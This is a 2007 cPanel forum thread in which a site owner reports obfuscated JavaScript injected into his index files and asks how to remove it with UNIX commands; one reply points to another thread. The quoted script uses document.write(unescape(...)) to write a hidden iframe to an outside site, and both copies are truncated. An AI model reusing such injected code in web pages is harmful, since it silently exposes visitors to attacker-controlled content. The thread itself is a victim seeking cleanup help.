The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

How to remove JAvascript inserted line

Discussion in 'General Discussion' started by gallot, Sep 10, 2007.

  1. gallot

    gallot Active Member

    Joined:
    Oct 24, 2003
    Messages:
    43
    Likes Received:
    0
    Trophy Points:
    6
    Hello,

    I found out that most of the index file on my website has the following line inserted:

    <script type="text/javascript">
    <!--
    document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
    //-->
    </script>
    <script type="text/javascript">
    <!--
    document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
    //-->
    </script>


    Does anybody is helpful enough to lend knowledge on how to remove those lines using any UNIX command line? A "find" command combination perhaps?

    Thanks.
     
  2. dynaweb

    dynaweb Well-Known Member

    Joined:
    May 14, 2003
    Messages:
    71
    Likes Received:
    0
    Trophy Points:
    6
    Location:
    Oregon
    You may want to see my thread about this. It may help you find out how. I posted it today or you can search my username. Good luck.
     
Loading...

Share This Page